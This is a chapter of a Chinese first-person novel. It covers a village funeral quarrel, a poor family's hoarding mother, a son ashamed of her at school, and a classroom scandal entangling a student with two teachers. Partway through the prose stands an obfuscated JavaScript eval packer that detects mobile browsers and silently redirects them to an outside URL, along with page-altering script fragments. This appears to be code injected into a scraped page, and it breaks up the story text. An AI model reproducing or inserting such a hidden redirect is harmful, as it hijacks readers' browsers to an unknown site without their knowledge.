我还没看到人影,只见骄傲的妈妈,我那个大娘,被气得一口气上不来,一头栽倒在屋门儿旁里。骄傲的几个姐姐,一声呼号,都冲着那个小的女人扑了过去,要去撕她,掐她,为他们的娘报仇出气。顿时,院子里喊声、骂声、哭声,混成一片。 凡姓的人,毕竟人员众多,男女老少冲上去帮忙把人拉开。大娘气地闭气了,直挺挺躺在那里。大家掐人中的掐人中,蜷腿儿的蜷腿儿,忙着抢救活人。 骄傲爸爸的那个小的,只比骄傲的姐姐大几岁,还是个大闺女,被她爹带了来。 骄傲的爸爸走过去悄悄跟她爹说:“我给你点儿钱,你给她再找个人家吧。”说着,他们几个人走进了里屋,去商量后面的事。 有高明的人说:“人家这是故意要钱来了!这个当口儿,骄傲他爹能不给钱吗?得赶紧给钱好把人家打发走啊!” 也有人说:“这下给足了钱,人家就不来了!” “对!给钱了就行!” 宴席结束了,大奶奶被吹吹打打地送到了山上。各家拎着塑料袋子,提着桶,把杂菜汤子带回家里去。 我妈妈提回家一大桶杂菜汤。因为天冷,杂菜汤很快冻成冻了。 下午,我弟弟饿了,到桶里盛了一碗杂菜汤就吃。 我弟弟看到我说:“你吃吧?”我坐下来,我弟弟给我盛了一碗,我跟我弟弟一起吃起来。 我妈妈从外头推着一车子山芋秧子回来了。她刚到大门口儿,就看到了我们。 她冲着我们喊:“恁么凉,恁怎么吃的?热热,我也吃!” 我妈妈说:“西山头上围了一群人,骄傲奶奶的棺材被浇上汽油烧了。” 我不明白是怎么回事儿,就问我妈妈:“怎么又烧了的?” 我妈妈说:“骄傲的奶奶没火化,恁大爷托人买的火化证,就埋在西山上。不知道是谁去举报的,镇上来人了,骄傲的爹和镇上的人一块儿到了西山头上,当场开棺验尸,浇了汽油烧的。” 我说:“俺大爷恁么有钱,也没挡住这事儿啊?这庄上没火化的不是蛮多的嘛?怎么就他家出事儿了的?” 我妈妈说:“恁大爷不知道是得罪谁了,人家去举报的。来了一伙人,人多了乱,龙多了旱。骄傲他爹给恁大奶奶买的金戒指都找不到了,也不知道是被谁给拿走了。” 我问我妈妈:“是谁去举报的啊,这事儿能是谁干的呀?” 我妈妈说:“谁跟他有仇就是谁举报的。” “他得罪谁了?”我说。 “这谁知道?”我妈妈说,“骄傲的爹咽不下这口气,找恁立勤大爷爷帮着去打官司来。骄傲的爹还买了小贡烟给恁立勤大爷爷。” 过了几天,我们去立勤大爷爷家里玩。 “骄傲奶奶那事儿怎么样了,大叔?”我妈妈问立勤大爷爷。 “我上去就说的,□□死在温都尔汗,那场面也没有恁么悲惨。俺嫂子一个安善良民,恁怎么能把她搞成恁个样儿的?死者为大。恁还尊重一点儿死者吧?恁这不是让她死后不得安生吗?恁这样做事儿还有一点儿人情味儿吗?农村人都讲风水,恁把他家的坟子给扒了,等于破了他家的风脉了。恁拿他子孙后代还当回事儿吧?恁还尊重一点儿民俗吧?” “是呀!大叔说的有道理啊。大叔这个人就是能讲出理来。”我妈妈说,“人家听吧?人家是怎么说的?” “压根儿不让你说话!”立勤大爷爷皱着眉说。 我原以为立勤大爷爷这番必然能够大展身手,舌战群儒,得胜回还,哪知道居然无功而返。看来,大爷爷的三寸不烂之舌,也没有传说中的那么厉害。 23. 秦桂桂 1.我妈妈去我弟弟学校,我弟弟跑开了 我们家里,堆满了破衣烂衫,没有一个像样的板凳,没有一张像样儿的吃饭的桌子,甚至没有一双像样的筷子。那些破破烂烂不干不净的衣裳,装在一个个的化肥袋子里,我妈妈舍不得扔,几十年如一日,一直原原本本地放在那里。冬天盖的被子,每年用完了,也不拆洗,再原原本本地塞进袋子里,明年继续。 我妈妈很忙,她没有时间拆洗。我妈妈总有缝不完的化肥袋子,补不完的破破烂烂,所以,她根本没有时间。只有不知道过了几年,实在太脏了,她才把被套拆下来洗洗。这种拆洗只限于她自己的,可能因为她觉得她自己的太脏了,我们的都不脏吧。破破烂烂太多了,招来一屋子的老鼠横行霸道。我们的床底下是妈妈放的厚厚的稻草。夜里,我们躺在床上睡觉,隔着一层席还有一层稻草,老鼠就在身子底下一拱一拱地钻过去了。 记得以前在山东,我爷爷自己发明了一个老鼠夹子。那是用一块大石头做的机关。老鼠只要经过,那大青石就会落下,老鼠被死死地压在“千斤闸”里。那时候,我还不知道,一个家里的鼠患还可以这么严重。 我曾经百发百中地在桌子上扑住一个灰色的老鼠,那老鼠被我牢牢按在手心儿里,老鼠跟我的手掌心之间还隔着一层塑料纸,天时地利,我本来可以凭一己之力,干净利落地把老鼠给弄死的。这时,我亲爱的妈妈走过来,好心帮我来了。结果,她有板有眼地把我手掌心的塑料纸一点点捏起来,往上一提,“蹭”地一下,那只被我按在手心儿里的老鼠被她给放走了。 我妈妈的床底下,有一个大筐子,框子里放满了各式各样的旧鞋,当然是人家给的,当然是穿过的带着泥土和臭气的。我妈妈就任其放在那儿,永远放在那儿。 后来的一天,治保主任来我家跟我妈妈说话,说了半天,临走,说了一句发人省醒的话,“三姐!恁床底下怎么那么多臭鞋头子的!”我妈妈这才如醍醐灌顶,赶紧把那筐子鞋头子,抬着转移,等风头儿一过,那筐子旧鞋头子又大获全胜地卧在她的床底下了。 光说没人愿意来我家串门子,谁要来啊,这样的环境,我自己都不愿意去。我妹妹脾气好,心态好,对我妈妈对我们家的治理没有任何异议。我跟弟弟早就反反复复提议、抗议,可是我妈妈总是无视于睹、无情打击。我没有见过六七十年代是什么样子,但是,看看我家,估计,六七十年代,也就只能这个样子了。陈旧、拥堵,这就是我妈妈为我们营造的读书的环境。噢,很抱歉,我妈妈根本就不知道,读书还需要环境。 我妈妈是五八年出生,正是□□的时候。我妈妈那时候还刚会走,被饿地不会走了。所以,她对一粒粮食,对一丝布,都视如己出,异常珍惜。我家的剩饭剩菜,酸了、坏了,我妈妈还是舍不得倒。为了她的凤体安康,我们都苦劝她不要再吃那已经发馊发霉的饭菜了。我妈妈可不行,非得吃。谁给她扔了倒了,她跟谁不拉倒,又吵又闹。谁没事儿天天跟她吵架呢。最终是我们败下阵来,看着她吃她的长毛的煎饼和馊了的饭菜。 “恁都没经历过歉年。歉年,人饿地肚子上就一层肚皮,里头的肠子都能看到!虚青虚青的!老百姓饿得都去啃树皮,有的人家把豆稞子泡泡,上碾轧碎了吃。小孩吃了拉不出屎来,大人用手一点点儿地给往外抠。” “可是现在时代不同了,酸了长毛了不能吃。吃了会生病!”我们说。 “哪儿的事儿!没事儿!能吃!”我妈妈满不在乎,“恁大松龄大爷,为什么叫‘大肚子’?就是因为歉年,光想吃,吃不饱。” “大松龄大爷的肚子现在也大!”我说。 “恁大松龄大爷,现在那肚子里头都是油水喽!人家生活好,小孩少,不吃干什么!像咱家,不是靠我省,都吃了喝了,钱搁哪里来啊!” 大松龄大爷住在长柱大爷爷家前头。他家三口人,松龄大爷,松龄大娘,还有他们的女儿刘丽。刘丽是抱养来的,跟我妹妹年龄差不多。 “人家刘丽现在都不吃饭,天天牛奶面包。恁小妹哪有!”我妈妈说。 记得以前,在山东,妈妈还是好样的。不知道为什么,到了南乡,怎么就变成这样了呢。妈妈的长头发剪了,只剩下比男人的头发还要短的一头白发,衣服也是破衣烂衫,穿了一年又一年。大冬天的,棉袄里头穿一件厚毛衣就可以了,妈妈却非要穿几件薄衬衣。导致她的脖子里,有很多衣领子,白色的、蓝色的、军绿色的,层层叠叠的衣领子,几乎让人数不清。她也不嫌穿脱麻烦,就这样穿着。 “咱妈妈光说人家,就咱这个家庭环境,我以后就是带一个媳妇回来也得散。谁跟?!”我弟弟说。 “那你以后说了媳妇不要带回来。俺不稀罕!”我妈妈说。 “别带回来!”我也说。 “遗传!你看咱姥娘家,还有咱二姨家,都是这样,破破烂烂的!”我弟弟说,“一个比一个邋遢!”说“邋遢”也许过了,我妈妈也是每天把屋里和院子里扫地干干净净呢。可是家里东西堆积如山,洁而不整,老鼠成群结队,那不叫“邋遢”,那叫什么呢。 我家里邋遢地一塌糊涂,我妈妈还不承认。 “我爱干净,我天天早起扫当天井!”我妈妈还自夸自己爱干净。 我们都面面相觑。 “干净嬷嬷肮脏死,临死夹着一腚屎!嘿嘿!”我妈妈自己笑自己。噢,按迷信的说法,一个人生前越是爱干净,越是死地很脏。如此倒推,我亲爱的妈妈,大概不会死地很脏了。 我家里脏、乱,我跟妹妹是不敢胡乱作为的。只有我弟弟,才敢壮着胆子动一下她积攒的那些破破烂烂。 有一天夜里,他的房间闹“鼠患”,闹地他无法安歇,他一怒之下,把他房间里那些堆积如山的破烂玩意儿都扔出了门儿,然后抄起扫帚把地上的老鼠屎、老鼠尿清扫一遍。此时此刻,我妈妈的心像是被掏空了一般,对着我弟弟的房间,咒骂了起来。 “长瘊了!该死了!我好好的东西给我扔出来!”我妈妈咬牙切齿地骂。 “不扔留着喂老鼠!留着殉葬的!”我弟弟十分生气地恨恨地骂,“我扫出来多少死老鼠!老鼠屎!瘟臭!” “都留着给你殉葬!”我妈妈也七分生气地恨恨地骂道,“老鼠多!老鼠多!谁家来没有两窝老鼠,三窝燕子!”看来,我妈妈是准备跟老鼠和平共处。 “走到哪儿拾到哪儿!跟拾破烂的似的!都堆到家来!下脚儿的空儿都没有!”我弟弟边往门外头赶那些垃圾,边嘶吼着说。 “都嫌我拾破烂!都嫌丢人!要是把卖破烂的钱给谁,谁都高兴!”我妈妈愤愤地说。 我弟弟是男孩子,随便她骂,顶多咒他死。我跟妹妹可没这个胆子,我们是女孩子,我们要是动了她的破烂,她一定会把我们骂死。何况,我弟弟是男孩子。她对我们三个,看起来一样地疼,不偏不倚,但在她的内心深处,我弟弟是她的“根儿”,她对他还是异常的崇拜和恭敬的。随着我弟弟越长越大,我弟弟说话越来越好使了,我弟弟是这个家庭唯一能“降服”她的人了。 我弟弟跟凡庄的很多男孩子一个学校,人家对我家知根知底。我家的环境,不是贫困两个字那么简单的。我们不是要一个多好的环境,而是要我们的妈妈少一些破破烂烂,多一点板板正正。凡姓近房对我们的排挤,我家艰难的生活条件,和糟糕的生活环境,凡庄的那些男孩子一清二楚,他们肯定会瞧不起我弟弟。我弟弟因为压力大而成绩不好,也得不到老师的关照。更得不到其他同学的尊敬。他的精神上没有任何支撑。我弟弟的处境比我要难得多。 秋冬季的一天,我妈妈来找我了,她见了我,闭着眼睛、张着嘴,哭地合不拢嘴。那是在我学校里,她很少这样。 我问她:“妈妈,你怎么回事啊?” “我去鸿雁学校了,给他送了几个煎饼。”我妈妈怀里抱了一沓煎饼,用透明的塑料纸包着。那卷煎饼看起来硬硬的,旧旧的,也不是新烙的,她怎么突然想起来给鸿雁送煎饼的?天冷,她穿着一件把红色的褂子翻过来,再自己动手缝好的“新衣服”,戴着一顶不知道谁给的绛红色的线帽。 “课间操,鸿雁看到我,‘我不要!我不要!’说完就跑了!”我妈妈哭地兀兀陶陶的。 我弟弟正在上初中,他的学校就在我学校不远的地方。我妈妈不知道怎么突发奇想,抱了几个煎饼就给他送到学校了。她看我弟弟不但不要煎饼,还撒腿就跑,显然是心酸无比,伤心透顶,一时想不开,故而大放悲声。 我可以理解我妈妈,她千辛万苦,省吃俭用,供儿子上学,儿子却嫌她衣衫丑陋,在大庭广众之下,莘莘学子之中,给他丢脸了。老母亲怎能不伤心。 但是我又特别理解我的弟弟,我理解他长期“被丢脸”的无奈、心酸甚至恼恨。 虽说是儿不嫌母丑,狗不嫌家贫。可毕竟是世人眼光凶,人言可畏。我知道自己穿得不伦不类的母亲出现在校园里,给孩子带来的压力、痛苦和自卑。她的孩子需要多强大的勇气,才能假装不在乎世俗的眼光和深藏在别人内心的鄙弃,又需要多强大的毅力,才能揣着那颗被自卑击倒的内心,强撑着把头抬起,装作无所谓的样子,继续学习。 我的弟弟,还是个十几岁的男孩子,一个内心和智力并不是天生有多强大的男孩子,他情愿哪怕自己少吃一顿呢,也希望母亲能照顾他一点点的颜面,穿地得体一点。 大庭广众之下,弟弟看到穿着糟糕的妈妈,推开她就跑开了,我妈妈觉得自己很可怜。可是我却可怜我幼小的弟弟。我也扛着同样的压力,可是我出于感恩只能全盘接受。我不会跑,我也不会躲避。我知道我躲避了以后会更加难堪,我只能强装镇定,装地若无其事,来使我显得无比绅士。 可是我的母亲不明白这个道理,她把自己的血汗喂养了自己的儿女,她也亲手用穷酸和邋遢把自卑和压力喂到了儿女的骨子里。儿女被内心的自卑和别人的鄙视压地抬不起头,喘不过气,背着巨大的压力,哪里还有力气再去学习。一向精明强干的妈妈至死也不会明白儿女的痛苦和压力。她只知道让孩子穿暖吃饱,她不知道,孩子的自尊也很重要。 她不懂,她一辈子都不会懂。所以,我弟弟不理她,她才会异常失态和悲痛。 “这个煎饼给你吧!”我妈妈心酸地说,她也是不想带回去了。 其实,我也不需要那包煎饼。可是,我知道,这个时候,我是万不能拒绝的。 我说:“行!” 我陪着她走走:“没事儿的,妈妈,鸿雁不懂事儿,你别跟他计较!” 我妈妈还是哭地合不拢嘴:“小鸿雁哎!要不是恁妈妈哎!你能上学!” 我看着她哭,既同情又不是很同情。她不知道,她给儿女带来的痛苦是想说没处说,想哭没处哭的。她的儿女,还在艰难地上学,这种艰难在那些破破烂烂的助力下更加艰难了。 我陪着我妈妈在校园里的小路上走走。 “你要上课了吧?我回家了!”我妈妈说完就转身擦着眼泪走了。 2.我的同桌秦桂桂 我的同桌叫秦桂桂,一个乖巧可爱的小女孩,个子不高,有些矮,眼睛大大的,牙齿白白的,说话轻轻巧巧,仿佛声音不经过喉咙,只在唇齿间环绕。 每次早读课的时候,班主任张科老师双手插兜,默不作声儿地到她跟前一晃,她就跟着推门儿出去了。剩下我们一班人等在教室里读书。 天天如此,每天如此。今天必然也如此。 他俩出去谈话,按理说,也没招谁,没惹谁。可是,很多同学,都在背后议论。 “老地七里咔嚓的了,还那么骚!”这是说我们的张老师了。 “听说她老婆抱着孩子在校长室门前哭,校长也管不了!” “秦桂桂真是的!也不嫌他老!”秦桂桂家境也是不好,她只有爹,没有娘。她爹一个人辛辛苦苦地供她上学,说起来,她也是一个苦孩子。秦桂桂平时性格温和,对我也不错。我们读书读累了,还一起说几句话。 我们班主任张科老师教我们语文,也是多少年的老教师了。他上课的时候,在黑板上的右下方写下四个字:掷果潘安。 “潘安,是晋朝的美男子。呵呵!他一表人才,风流倜傥。”张老师顿了顿,“他的车走到大街上,引来美女无数,纷纷往他车上掷果子。呵呵!因此,他被称为‘掷果潘安’”。 我们桌面上摆放着印刷粗劣的复习资料,呆呆地听着,不知道张老师为什么要讲这个。 张老师又在黑板上写下四个大字:力能扛鼎。 “力能扛鼎,说的是项羽。他有万夫不当之勇。但在垓下被围时,他因为酒色伤身,最终无法冲出重围!呵呵!” 张老师一副很有才华又很有风度的样子。是的,张老师的确很是风骚,至于他到底有没有才华嘛,这件事儿还有待考证。 张老师个子不高,也是眼睛大大,说话斯斯文文,细声细气,不知是天生如此,还是年近四十,他有些中气不足,阴柔有余。秦桂桂听地很认真,我们也听地很认真,可是心里都在想着他跟秦桂桂的事儿。 那时候,我的英语老师姜老师对我很好。她那时二十四五岁,刚结婚,还没有孩子。她的丈夫也是英语老师,叫马军。她知道我家里穷,就把我叫去学校家属院六楼她家里。 “我把我以前上学的衣服找了几件,给你带过来。你看看合不合适。”姜老师跟我说。 这些衣服里,有玫红色的大衣,还有胸前织着白色的可爱的小猫咪的毛衣。每一件都很漂亮,我都很喜欢。 “老师,你上学的时候就有这么多漂亮的衣服穿啊!你家庭条件很好吧。”我说。 “还行吧,我就姊妹俩。我当时跟你马老师一个班。我们高中的时候就谈了。”姜老师笑着说。看得出来,她很爱她的丈夫。 后来,姜老师又让我去她家,她给我五十块钱。 “我跟你马老师商量了,以后每个月资助你五十块钱。你留着做生活费。你妈妈太辛苦了。”姜老师说。 “啊!这怎么能行呢。老师工作也辛苦。”我惶惶地说。 马老师说:“没事儿,我一个月,摩托车少烧点油就够了。” 以后每个月,我总会在学校某个角落,遇到某个同学。有的我还根本不认识他。 “姜老师让你去他家。”那个同学告诉我。我就知道,是姜老师让他捎信给我了,我就抽空去姜老师家,姜老师让我在她家吃饭,临走还给我五十块钱。 我有时在学校里遇见她,她正在逗校医刘老师的小男孩,那小男孩儿朝她喊一声“妈妈!”她就温和地把他抱在怀里。她跟校医刘老师处地好,还认了刘老师的孩子做干儿子。 我喊她一声:“姜老师!”她抬头看看我,对我说:“你明天中午来我家一趟!”、 “噢!”我说。 “你去吧!”姜老师说。我就进教室去学习。心里想着,姜老师是去找刘校医玩儿,还是故意在那里等我呢。 这以后,我妈妈每个星期给我的生活费就自然地少了。 有一天,我妈妈去学校里给我送饭,我看到她自行车后座儿上的袋子里装地滚滚的,我以为是白馒头。我就问她:“妈,你给我蒸的馒头啊?” “咱家哪蒸的起馒头哎,我蒸的窝窝。”我妈妈边说边把袋子从自行车后座儿上解下来。我把那个袋子拿回到宿舍里,她就在楼下等我。 她只给了我饭,没给我钱。她走的时候,我送她出去。我妈妈准备回家了,她让我回去吧。我跟她说:“妈妈,我这个月没有钱了。姜老师没有给我。” 我妈妈听了一愣。她赶紧从自己的身上、兜里四处摸索。 终于,她从裤子兜里掏出了几十块钱,递给我。 “呐,你先拿着,要是不够。我回头再给你借。” 我说:“够了。我省着点花。” 那时候是春夏之交,我怀疑自己感冒了,就去学校的小诊所量体温。校医刘老师是我们原来班主任戚亮老师的老婆,人据说长得很美,与我们戚老师育有一幼子。 我咯吱窝里夹着体温计坐在医务室的椅子上,刘老师走过来,问我说:“还好吧?” 我说:“还好,就是怕感冒,期末复习了嘛。” “嗯,我看你穿得怪多,也可能是热感冒。”她说。 “噢!”我说,“我很有可能是热感冒,我怕感冒了耽误考试,故意穿地多了。” “宋大省,你认识秦桂桂吗?”刘校医问我。 “认识,她是我同桌。”我说。 “她跟你英语老师的老公马军好上了,你知道吧?”她问我说。 “我不知道,不是都说她跟俺班主任张老师好吗?”我说。 “你说张科啊,那个老男人,她哪看得上,张科倒是想来!”啊!原来如此。 刘校医恨恨地说:“男人都是猪!是狗!我都流产了两个了!”刘校医皱着眉头说。她是在恨我们以前的班主任戚老师了。 “要是秦桂桂去找戚亮,戚亮也行!”她咬牙切齿地说。 啊?!我的脑袋好像被雷轰了一下。 “要是你去找他,他也行!”她又说。 啊?!我的脑袋又被重重地轰了一下。我一时接受不了这样的设想,立刻陷入巨大的惶恐和疑惑之中。 “谁要是敢招惹戚亮,我就把她的窟窿撕烂!”刘校医恨恨地说。 我没谈过恋爱,视恋爱为洪水猛兽,据老师家长的教诲,好像一旦踏入爱情就会万劫不复。我不想万劫不复,也没有谈恋爱所需要的美貌和漂亮的衣衫。我虽然没接触过爱情,但是,在刘校医的恨恨里,我还是听出了她对自己丈夫的深爱和不确定。我不会去勾引她那个耷拉着黄黄油油的面皮、身形和嘴巴都有些发瘪的丈夫,她应该也知道我没那些心思。我也能确定,她的咬牙切齿地发狠,不是针对我。刘老师跟我说的关于秦桂桂的事儿,我还不太相信,这是不是谣传呢。秦桂桂再怎么说,还是个学生,尽管比马老师小不了几岁。 我就问刘老师:“马老师怎么会是那种人呢?” “你不相信?”刘校医说,“那天晚上,我看到楼道里有两个人抱在一块儿,那个男的看到我,‘蹭’地跑了,就留秦桂桂在原地。那身影是谁,我能不认识?就是马军!我跟姜红说,你赶紧怀孕生孩子!生了孩子,秦桂桂就没办法了。姜红她不是一直没有孩子吗,所以她认了我的儿子当干儿子。人家都说认一个孩子就好怀孕了。” 没过几天,又是一个下午,我吃过晚饭去教室上晚自习。 姜老师站在校园里的小花圃里,她看到我,把我喊住:“宋大省,你让秦桂桂来找我。我在医务室等她。”姜老师穿着红色的长裙,梳着黑色的低马尾,黑黑的头发垂在后背上,又温婉又漂亮。我进了教室,看见秦桂桂,就告诉她:“姜老师在外面,她说她在医务室等你。”秦桂桂一言不发,出去了。 后来,她回来了。脸色很伤怀的样子。 “事情你都知道了?我们三个到一起,姜老师让马老师选择。她说,如果马老师选择姜老师,我就永远退出。如果马老师选择我,她就永远退出。” 很显然,马老师选择了姜老师。 秦桂桂虽然难过,但是并不恼恨:“是我对不起你姜老师!” 她知道,我肯定是站在姜老师这边的。 “我每天早上跑步的时候,都会对着家属楼的灯光,一遍遍地说‘对不起’!”秦桂桂接着说。 我也知道家属楼的灯光,那些灯光像是流星一样垂在半空,照耀着我们疲惫不堪的早上。 “那你一开始为什么要去惹马老师呢。”我忍不住说她。 “你以为只怪我吗?我给你看一样东西。”她把一溜儿小纸条拿了出来。那纸条是从信纸上撕下来的,有二指宽。上面用铅笔写着两行字:“秦桂桂,对不起!我不能对不起我的妻子,我不能挣脱禁锢我的枷锁,对不起!”字写地方方正正,大大方方,很有力度,很漂亮。基本上可以断定,那是马老师的字,因为姜老师的字也是这样。 我虽然不赞成秦桂桂这样做,但是事情已经尘埃落定,秦桂桂不去打扰姜老师的生活,她也不可能真的能代替姜老师在马老师心目中的位置。 晨读课上,开小差儿的时候,秦桂桂就跟我说:“你知道马军的‘军’,到底是哪个字吗?” 我说:“我不知道。” “是这个‘君’。”她写给我看。 教室门一开,班主任张老师推门进来,又把秦桂桂叫出去了。他们讲什么呢,有什么好讲的呢?每天如此,每天如此,秦桂桂不要学习吗? 姜老师生孩子了,我们都很很高兴。 秦桂桂跟我说:“听说姜老师生孩子了,我买了一身小孩儿的衣服,你帮我捎给姜老师吧。” 我怕姜老师不高兴,就没答应。我说:“我不敢帮你带,我怕姜老师生气!” 秦桂桂见我不帮她带衣服,当然生我的气了。我们俩谁也不理谁,开始闹意见。她每天冷冰冰的,摆脸子给我脸色看,我也不想跟她多说什么。她介入姜老师和马老师之间的感情,这个话题,一般情况下,我还不太好意思直接跟她说。我拒绝帮她带小孩儿的衣服给姜老师,我觉得我的做法无可非议。如果秦桂桂不能理解,非要生我的气,那我也没什么好跟她解释的。这需要解释吗,她自己不清楚吗?她跟姜老师是情敌呀,姜老师看见了她买的衣服只会生气,她怎么会给她的孩子穿她的情敌给他买的衣服呢? 回到家,我把姜老师生孩子的事告诉了我妈妈。 “姜老师生孩子了?”我妈妈说,“俺得去看看去。恁姜老师对你恁么好。” “你怎么去看啊?”我问我妈妈。 我妈妈说:“俺挎上一箢子鸡蛋,买上二尺小花布儿,带着笑笑,去她家看她。” “我还得上课。我就不跟你一块儿去了。等我下课再去。” 我妈妈说:“你上你的课。” “秦桂桂让我帮她给姜老师的小孩儿带衣裳,我没给她带。我怕姜老师生气。她跟姜老师是情敌,姜老师看到她给小孩买的衣裳,能不生气嘛。姜老师不但生她的气,还得生我的气。” 我妈妈说:“那可不行,姜老师还在月子里,可别气着她!” 我说:“秦桂桂怎么恁么多鬼心眼儿的?跟个大人似的,她怎么知道要给人家的小孩儿买衣服的?她以前跟马老师不清不楚,现在跑来给姜老师的孩子买衣服,这不是存心恶心人吗?姜老师能高兴吗?” 我跟秦桂桂之间的冷战,原也无事,充其量只是两个小女生之间的事。这时候,我站在正义的立场上,还有些理直气壮。可是,不要忘了,秦桂桂身后有我们班主任这个老男人。是的,班主任张科这个老男人是秦桂桂的蓝颜知己。这股子风儿,秦桂桂早晚会吹到张科那里。 果不其然。一天,原本每天雷打不动地推开教室的门,来找秦桂桂的张老师,把我叫出去了。完了!张老师出马了,表面是来斡旋,实际上是来帮秦桂桂来了!人家一男一女,里应外合,我完了! 张老师煞有介事地跟我说:“同学之间,气量要大一点,秦桂桂对你很好,你不该那样对她!” 我那时还是十八岁,还不是三十八岁,还不知道遇到蛮横的领导要尽可能服软,要卑躬屈膝,要装孙子,要让他觉得你没有任何忤逆。凡事都要顺着他,凡事都要“奴才罪该万死!”我那时竟然很悲愤地跟我的班主任张老师一句一句地顶了起来。 “我怎么对秦桂桂不好了?她要我帮她给姜老师送小孩儿的衣服,我不帮她送,她就怪我吗?她跟马老师什么关系她不知道吗?姜老师怎么会要她的衣服呢?她这不是气姜老师吗?姜老师还在月子里呢。” 张老师显然不想听我分辩。 “你小小年纪,不要管大人的事情。马老师的事情,也不全怪秦桂桂。”张老师盯着我说。他说话还是慢条斯理地,我看得到他嘴唇上的白色的、黄色的胡子茬。奇怪,我第一次看到一个中年人的胡子居然是白的。我也是第一次看到一个中年人的胡子居然是黄的。那几根白白的黄黄的胡子茬儿,像是白头发染成了黄色的。想到这儿,我觉得他那张脸愈发恶心了。是的,一个班主任每天雷打不动地不清不楚地跟一个小女生约谈,就够恶心的了。现在,他竟然以众所周知的蓝朋友的身份介入了两个小女生之间的争端,并且明目张胆地偏袒着他的秦桂桂,这真是明目张胆地恶心。 “我没管啊!秦桂桂为什么一直要管啊?您怎么不去问秦桂桂啊?您怎么一直问我啊?”我哭着说。 是的,我那时候还小,年少轻狂,我还敢说真话。《皇帝的新装》里头,为什么是一个小孩儿说出了真话,就是因为他无知无畏啊。 “秦桂桂!秦桂桂!你不要抓住一件事情不放!”张老师说。 我的历史老师也在办公室,他出于对张老师同事之间的友好,也附和张老师,对我说道:“不要抓住一件事不放!” 我更加悲愤了,哭着说:“是张老师抓住我不放!” 那个历史老师估计也知道张老师跟秦桂桂的事,立马很自然地不再吭声儿了。 “你这样就是性格悲剧!”张老师生气地说。我哭地兀兀陶陶,我惹恼了秦桂桂,得罪了班主任,班主任找我兴师问罪了!我跟谁说理去,我可委屈,可难过了。 此后的日子里,张老师是不怎么找我的事,但是早读课,一直盯着我看,把我看得如芒刺在背、如坐针毡。秦桂桂有了一个中年男人的助力,也变地恶狠狠地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137797|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我每天都被班主任盯地难过,痛苦、失眠。秦桂桂熟视无睹。我有几次差点熬不住这种痛苦的煎熬,差点去跟秦桂桂诉说衷肠,让她跟班主任张老师吹吹风儿,不要再这样盯着我,我是个高中的学生,我祖上都是老农,我家境赤贫,我还要复习,还要努力。 我去姜老师家的时候,把这件事跟姜老师说了。 “他就是想让你没法儿学习,回家种地。他照样教书。”姜老师怀里抱着孩子,鄙视地说。 姜老师的儿子安安静静地睡着了。初生的小婴儿看不出来好看还是不好看,小小的,睡在妈妈的怀里。 “他脸上怎么有红点点?”我问姜老师。 “我跟你马老师带他去县里看了,刚出生的小孩儿,不适应外界的环境,过敏,没事儿。”姜老师说。 中午,我就在姜老师家里吃饭。姜老师在厨房里烧了热热的油,把一把长长的青菜浸在热油里,那青菜在油锅里滋啦滋啦地响着。 “我喜欢吃空心菜,你喜欢吃吗?”姜老师问我。 “我没吃过。”我说,“俺家没菜,就砸蒜吃,那蒜泥第二天都变绿了。” 姜老师听了说:“你妈妈恨不得一分钱掰成八瓣儿花,哪里还有钱买菜。你以后不要再给我送那些土特产了,你妈妈自己留着还可以卖点钱。” 我说:“俺妈妈就是特别感激你。” 姜老师说:“我和你妈妈一样的心思。” 饭菜上桌了,我和姜老师一家三口一起吃饭,姜老师抱着她儿子。 马老师吃完了饭,抱着孩子,让姜老师吃饭。姜老师吃着煎饼,卷的是韭菜。马老师催姜老师说:“姜红,你能快点吗?我中午要去看着学生午练,下午还有第一节课呢。”姜老师笑了笑,赶紧吃完手里的煎饼,让马老师走。 饭后,我跟着姜老师一起在家里玩。姜老师家的电视里放着黄梅戏《罗帕记》。我跟姜老师一起看地入了迷。 女主人公声泪俱下地唱着:“千般希望寄儿身,送子触痛母亲心。幼子全靠勤照应,冷热饮食最当心。这些话我本不该讲,无奈何做娘心肠逼我说出唇。千般希望寄儿身,送子触痛母亲心。一待娇儿开蒙后,要拜名师读诗文。娇儿若得功名就,才能够为娘亲报仇恨。” 姜老师抱着孩子听着听着,就簌簌地落下了眼泪,我也心酸地流下了眼泪。姜老师拿过她身边的一卷纸,撕了几张给我,她自己也拿了几张,肆无忌惮地擦着眼泪,擤鼻涕。 班里的女生放了学回到宿舍,都在说张老师。 “哎!张老师带秦桂桂去超市,买了一袋子东西。张老师走在前头,秦桂桂走在后头。两个人还想躲着别人,可是还是被别人看见了。” “还有人看见他们两个一块儿在外头吃饭。” “真恶心人!怎么有这种人!这种人还能当老师!”大家几乎一起指责张老师的人品。她们应该大概知道一点我与秦桂桂闹翻、张老师帮着秦桂桂治我的事了。她们在背后对张老师群起而攻之,对我算是有了一点点安慰。尽管她们恶心张老师,也不全是为了我。倒是我,不敢公然说张老师的坏话。我怕秦桂桂再去吹风,我可真的要死了。 面对大家的公然指责,我就静静听着。秦桂桂面对公愤,也夹着尾巴做人。她居然还能去附和她们对张老师的声讨。 “张老师说,他老婆让他给她打洗脚水洗脚,她一脚就给踢翻了。”秦桂桂乖巧地笑着说。 “你是怎么知道他家的事的?!”对于秦桂桂的讨好,众女侠并不买账。 我以为我是最倒霉的了,没想到还有个人自找倒霉,往枪口上撞。那就是我们班的一个调皮的小男生张海龙。他喜欢上了秦桂桂,并且天真地向秦桂桂示好了。 张老师很快闻风而来,这天早读课,他照例双手插兜,走到教室里,他转身离去的时候,跟在他身后的,不是秦桂桂,而是张海龙!这个倒霉蛋,惹到张老师头上了!我一方面为张海龙捏把汗,一方面又鄙视张海龙这个幼稚鬼,混球、傻蛋,真是色胆包天,居然敢找秦桂桂这样的女人。 接下来的日子里,张海龙成了张老师的眼中钉、肉中刺,经常被带出去问话。同学们又是笑话他得不到秦桂桂的心,又是笑话他招来了了张老师的怨恨。 “哈哈!你居然敢跟人家争!” “这回有你好看的了吧?” 